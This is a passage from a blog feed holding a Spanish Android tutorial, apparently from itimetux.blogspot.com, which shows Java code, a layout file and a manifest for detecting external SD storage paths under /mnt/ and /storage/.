  &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt; i &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt; i &lt;span style=&quot;color: #333333;&quot;&gt;&amp;lt;&lt;/span&gt; rutas&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt; i&lt;span style=&quot;color: #333333;&quot;&gt;++)&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
   File file &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;new&lt;/span&gt; File&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;rutas&lt;span style=&quot;color: #333333;&quot;&gt;[&lt;/span&gt;i&lt;span style=&quot;color: #333333;&quot;&gt;]);&lt;/span&gt;&lt;span style=&quot;color: #888888;&quot;&gt;// Ruta actual ( listamos de uno a uno )&lt;/span&gt;
   &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;(!&lt;/span&gt;file&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;exists&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;())&lt;/span&gt; &lt;span style=&quot;color: #888888;&quot;&gt;// Si no existe pasamos a la siguiente&lt;/span&gt;
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;continue&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
   System&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;out&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;println&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;Ruta : &quot;&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;+&lt;/span&gt; rutas&lt;span style=&quot;color: #333333;&quot;&gt;[&lt;/span&gt;i&lt;span style=&quot;color: #333333;&quot;&gt;]);&lt;/span&gt; &lt;span style=&quot;color: #888888;&quot;&gt;// Imprimimos para &quot;depurar&quot;&lt;/span&gt;
   String f&lt;span style=&quot;color: #333333;&quot;&gt;[]&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; file&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;list&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;();&lt;/span&gt; &lt;span style=&quot;color: #888888;&quot;&gt;// Contenido de ruta actual&lt;/span&gt;
   &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt; o &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt; o &lt;span style=&quot;color: #333333;&quot;&gt;&amp;lt;&lt;/span&gt; f&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt; o&lt;span style=&quot;color: #333333;&quot;&gt;++)&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt; &lt;span style=&quot;color: #888888;&quot;&gt;// Recorremos el contenido de la ruta actual&lt;/span&gt;
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;f&lt;span style=&quot;color: #333333;&quot;&gt;[&lt;/span&gt;o&lt;span style=&quot;color: #333333;&quot;&gt;].&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;indexOf&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;sd&quot;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt; &lt;span style=&quot;color: #888888;&quot;&gt;// Vemos si contiene sd en el nombre si es asi es almacenamiento&lt;/span&gt;
     String ruta &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; rutas&lt;span style=&quot;color: #333333;&quot;&gt;[&lt;/span&gt;i&lt;span style=&quot;color: #333333;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;+&lt;/span&gt; f&lt;span style=&quot;color: #333333;&quot;&gt;[&lt;/span&gt;o&lt;span style=&quot;color: #333333;&quot;&gt;];&lt;/span&gt; &lt;span style=&quot;color: #888888;&quot;&gt;// Creamos una Ruta,esta ruta es la original&lt;/span&gt;
     File fd &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;new&lt;/span&gt; File&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;ruta&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #888888;&quot;&gt;// Creamos un nuevo File para evitar rutas repetidas basadas en symlinks&lt;/span&gt;
     String toAdd&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
     &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;try&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
      System&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;out&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;println&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;Canocial :&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #333333;&quot;&gt;+&lt;/span&gt; fd&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;getCanonicalPath&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;toString&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;());&lt;/span&gt; &lt;span style=&quot;color: #888888;&quot;&gt;// Esta seria la ruta original&lt;/span&gt;
      toAdd &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; fd&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;getCanonicalPath&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;toString&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;();&lt;/span&gt;
     &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;catch&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;IOException e&lt;span style=&quot;color: #333333;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
      &lt;span style=&quot;color: #888888;&quot;&gt;// TODO Auto-generated catch block&lt;/span&gt;
      e&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;printStackTrace&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;();&lt;/span&gt;
      toAdd &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
      &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;continue&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
     &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;
     &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;(!&lt;/span&gt;tmp&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;toAdd&lt;span style=&quot;color: #333333;&quot;&gt;))&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt; &lt;span style=&quot;color: #888888;&quot;&gt;// Si se repitiera no lo añadimos&lt;/span&gt;
      System&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;out&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;println&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;A añadir :&quot;&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;+&lt;/span&gt; toAdd&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
      tmp&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;toAdd&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
     &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;
    &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;
   &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;
  &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;

  &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;return&lt;/span&gt; tmp&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #888888;&quot;&gt;// Regresamos el Array de almacenamientos&lt;/span&gt;
 &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;
&lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Así queda la vista xml&lt;b&gt; activity_main.xmll&lt;/b&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #007700;&quot;&gt;&amp;lt;RelativeLayout&lt;/span&gt; &lt;span style=&quot;color: #0000cc;&quot;&gt;xmlns:android=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;http://schemas.android.com/apk/res/android&quot;&lt;/span&gt;
    &lt;span style=&quot;color: #0000cc;&quot;&gt;xmlns:tools=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;http://schemas.android.com/tools&quot;&lt;/span&gt;
    &lt;span style=&quot;color: #0000cc;&quot;&gt;android:layout_width=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;match_parent&quot;&lt;/span&gt;
    &lt;span style=&quot;color: #0000cc;&quot;&gt;android:layout_height=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;match_parent&quot;&lt;/span&gt;
    &lt;span style=&quot;color: #0000cc;&quot;&gt;android:paddingBottom=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;@dimen/activity_vertical_margin&quot;&lt;/span&gt;
    &lt;span style=&quot;color: #0000cc;&quot;&gt;android:paddingLeft=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;@dimen/activity_horizontal_margin&quot;&lt;/span&gt;
    &lt;span style=&quot;color: #0000cc;&quot;&gt;android:paddingRight=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;@dimen/activity_horizontal_margin&quot;&lt;/span&gt;
    &lt;span style=&quot;color: #0000cc;&quot;&gt;android:paddingTop=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;@dimen/activity_vertical_margin&quot;&lt;/span&gt;
    &lt;span style=&quot;color: #0000cc;&quot;&gt;tools:context=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;com.itimetux.alamacenamientos.MainActivity&quot;&lt;/span&gt; &lt;span style=&quot;color: #007700;&quot;&gt;&amp;gt;&lt;/span&gt;

    &lt;span style=&quot;color: #007700;&quot;&gt;&amp;lt;TextView&lt;/span&gt;
        &lt;span style=&quot;color: #0000cc;&quot;&gt;android:layout_width=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;wrap_content&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #0000cc;&quot;&gt;android:layout_height=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;wrap_content&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #0000cc;&quot;&gt;android:id=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;@+id/textView1&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #0000cc;&quot;&gt;android:text=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;@string/hello_world&quot;&lt;/span&gt; &lt;span style=&quot;color: #007700;&quot;&gt;/&amp;gt;&lt;/span&gt;

&lt;span style=&quot;color: #007700;&quot;&gt;&amp;lt;/RelativeLayout&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
Y por ultimo el AndroidManifiest.xml:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #557799;&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #007700;&quot;&gt;&amp;lt;manifest&lt;/span&gt; &lt;span style=&quot;color: #0000cc;&quot;&gt;xmlns:android=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;http://schemas.android.com/apk/res/android&quot;&lt;/span&gt;
    &lt;span style=&quot;color: #0000cc;&quot;&gt;package=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;com.itimetux.alamacenamientos&quot;&lt;/span&gt;
    &lt;span style=&quot;color: #0000cc;&quot;&gt;android:versionCode=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;1&quot;&lt;/span&gt;
    &lt;span style=&quot;color: #0000cc;&quot;&gt;android:versionName=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;1.0&quot;&lt;/span&gt; &lt;span style=&quot;color: #007700;&quot;&gt;&amp;gt;&lt;/span&gt;

    &lt;span style=&quot;color: #007700;&quot;&gt;&amp;lt;uses-sdk&lt;/span&gt;
        &lt;span style=&quot;color: #0000cc;&quot;&gt;android:minSdkVersion=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;8&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #0000cc;&quot;&gt;android:targetSdkVersion=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;21&quot;&lt;/span&gt; &lt;span style=&quot;color: #007700;&quot;&gt;/&amp;gt;&lt;/span&gt;
    &lt;span style=&quot;color: #007700;&quot;&gt;&amp;lt;uses-permission&lt;/span&gt; &lt;span style=&quot;color: #0000cc;&quot;&gt;android:name=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;android.permission.READ_EXTERNAL_STORAGE&quot;&lt;/span&gt; &lt;span style=&quot;color: #007700;&quot;&gt;/&amp;gt;&lt;/span&gt;
    
    &lt;span style=&quot;color: #007700;&quot;&gt;&amp;lt;application&lt;/span&gt;
        &lt;span style=&quot;color: #0000cc;&quot;&gt;android:allowBackup=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;true&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #0000cc;&quot;&gt;android:icon=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;@drawable/ic_launcher&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #0000cc;&quot;&gt;android:label=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;@string/app_name&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #0000cc;&quot;&gt;android:theme=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;@style/AppTheme&quot;&lt;/span&gt; &lt;span style=&quot;color: #007700;&quot;&gt;&amp;gt;&lt;/span&gt;
        &lt;span style=&quot;color: #007700;&quot;&gt;&amp;lt;activity&lt;/span&gt;
            &lt;span style=&quot;color: #0000cc;&quot;&gt;android:name=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;.MainActivity&quot;&lt;/span&gt;
            &lt;span style=&quot;color: #0000cc;&quot;&gt;android:label=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;@string/app_name&quot;&lt;/span&gt; &lt;span style=&quot;color: #007700;&quot;&gt;&amp;gt;&lt;/span&gt;
            &lt;span style=&quot;color: #007700;&quot;&gt;&amp;lt;intent-filter&amp;gt;&lt;/span&gt;
                &lt;span style=&quot;color: #007700;&quot;&gt;&amp;lt;action&lt;/span&gt; &lt;span style=&quot;color: #0000cc;&quot;&gt;android:name=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;android.intent.action.MAIN&quot;&lt;/span&gt; &lt;span style=&quot;color: #007700;&quot;&gt;/&amp;gt;&lt;/span&gt;

                &lt;span style=&quot;color: #007700;&quot;&gt;&amp;lt;category&lt;/span&gt; &lt;span style=&quot;color: #0000cc;&quot;&gt;android:name=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;android.intent.category.LAUNCHER&quot;&lt;/span&gt; &lt;span style=&quot;color: #007700;&quot;&gt;/&amp;gt;&lt;/span&gt;
            &lt;span style=&quot;color: #007700;&quot;&gt;&amp;lt;/intent-filter&amp;gt;&lt;/span&gt;
        &lt;span style=&quot;color: #007700;&quot;&gt;&amp;lt;/activity&amp;gt;&lt;/span&gt;
    &lt;span style=&quot;color: #007700;&quot;&gt;&amp;lt;/application&amp;gt;&lt;/span&gt;

&lt;span style=&quot;color: #007700;&quot;&gt;&amp;lt;/manifest&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
Ejecutamos:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrCaB84M2Vcjv5zRn8FJahbEpD_X8qDrEhINz9R2CfILWdpN-fqoBYVJ4U1iPKkWgTlDfJGTu4ZPXcrwLCxDWAzakmVnS0JS5FntSVM8XleWwPTbz84rVMlOBxshEuWTyhTV5B9ZJv2YaW/s1600/storages.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrCaB84M2Vcjv5zRn8FJahbEpD_X8qDrEhINz9R2CfILWdpN-fqoBYVJ4U1iPKkWgTlDfJGTu4ZPXcrwLCxDWAzakmVnS0JS5FntSVM8XleWwPTbz84rVMlOBxshEuWTyhTV5B9ZJv2YaW/s1600/storages.png&quot; height=&quot;400&quot; width=&quot;223&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
En otro dispositivo:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEityZrWzgzOSTdTqNWbMmR6D6iaZMzFQw_poUkbvIVvIYYsPDW8dZLD54QPbrCKImP88gd5zFXYUDYm4XIqGHJLTJez81NhYbEfBPW9UyVRlsPImAyA4BklC9vuvtMnzNXc0Io88zWvXN_j/s1600/storages2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEityZrWzgzOSTdTqNWbMmR6D6iaZMzFQw_poUkbvIVvIYYsPDW8dZLD54QPbrCKImP88gd5zFXYUDYm4XIqGHJLTJez81NhYbEfBPW9UyVRlsPImAyA4BklC9vuvtMnzNXc0Io88zWvXN_j/s1600/storages2.png&quot; height=&quot;400&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;Para que funcione el&amp;nbsp;&lt;span style=&quot;line-height: 16.25px;&quot;&gt;MainActivity tal y como lo coloque&amp;nbsp;aquí&amp;nbsp;necesitan tener instalado el soporte para&amp;nbsp;v7 ActionBarActivity.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;span style=&quot;font-weight: bold; line-height: 16.25px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt; &lt;b&gt;&lt;span style=&quot;line-height: 16.25px;&quot;&gt;Aun asi pueden probar la&amp;nbsp;función&amp;nbsp;getAllsds() independientemente de como sea su aplicacion,solo que necesitan&amp;nbsp;añadir el permiso de acceder al almacenamiento en el&amp;nbsp;&lt;/span&gt;AndroidManifiest.xml&lt;span style=&quot;line-height: 16.25px;&quot;&gt;.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;line-height: 16.25px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt; &lt;span style=&quot;line-height: 16.25px;&quot;&gt;Si existen mas rutas en el futuro o alguna que no contemple tenemos que añadir la ruta&amp;nbsp;aquí:&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;line-height: 16.25px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt; &lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;line-height: 16.25px;&quot;&gt;&lt;b&gt;String rutas[] = { &quot;/mnt/&quot;, &quot;/storage/&quot;,&lt;span style=&quot;color: red;&quot;&gt;&quot;otra_ruta&quot;&lt;/span&gt; };&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;span style=&quot;line-height: 16.25px;&quot;&gt;Si existen almacenamientos que ademas de usar el nombre sd usan otro nombre&amp;nbsp;tendríamos&amp;nbsp;que añadir un &lt;/span&gt;&lt;b style=&quot;line-height: 16.25px;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;or&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;line-height: 16.25px;&quot;&gt;&amp;nbsp;así:&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;line-height: 16.25px;&quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/span&gt; &lt;span style=&quot;line-height: 16.25px;&quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/span&gt; &lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;line-height: 16.25px;&quot;&gt;&lt;b&gt;if (f[o].indexOf(&quot;sd&quot;) != -1 &lt;span style=&quot;color: red;&quot;&gt;|| f[o].indexOf(&quot;&lt;/span&gt;&lt;span style=&quot;color: purple;&quot;&gt;otra_coincidencia&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;&quot;) != -1&lt;/span&gt;) &amp;nbsp;{ ... }&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;span style=&quot;line-height: 16.25px;&quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/span&gt; &lt;span style=&quot;line-height: 16.25px;&quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/span&gt; &lt;span style=&quot;line-height: 16.25px;&quot;&gt;&lt;b&gt;Eso es todo :D.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;line-height: 16.25px;&quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/span&gt; &lt;span style=&quot;line-height: 16.25px;&quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://itimetux.blogspot.com/feeds/883074275983453241/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://itimetux.blogspot.com/2015/02/como-detectar-rutas-de-almacenamiento.html#comment-form' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/883074275983453241'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/883074275983453241'/><link rel='alternate' type='text/html' href='http://itimetux.blogspot.com/2015/02/como-detectar-rutas-de-almacenamiento.html' title='Como detectar rutas de almacenamiento en Android'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/09026194756509249762</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrCaB84M2Vcjv5zRn8FJahbEpD_X8qDrEhINz9R2CfILWdpN-fqoBYVJ4U1iPKkWgTlDfJGTu4ZPXcrwLCxDWAzakmVnS0JS5FntSVM8XleWwPTbz84rVMlOBxshEuWTyhTV5B9ZJv2YaW/s72-c/storages.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9085393751486294591.post-2997664089793843594</id><published>2015-01-16T14:09:00.000-06:00</published><updated>2015-01-16T14:09:33.500-06:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="C"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" 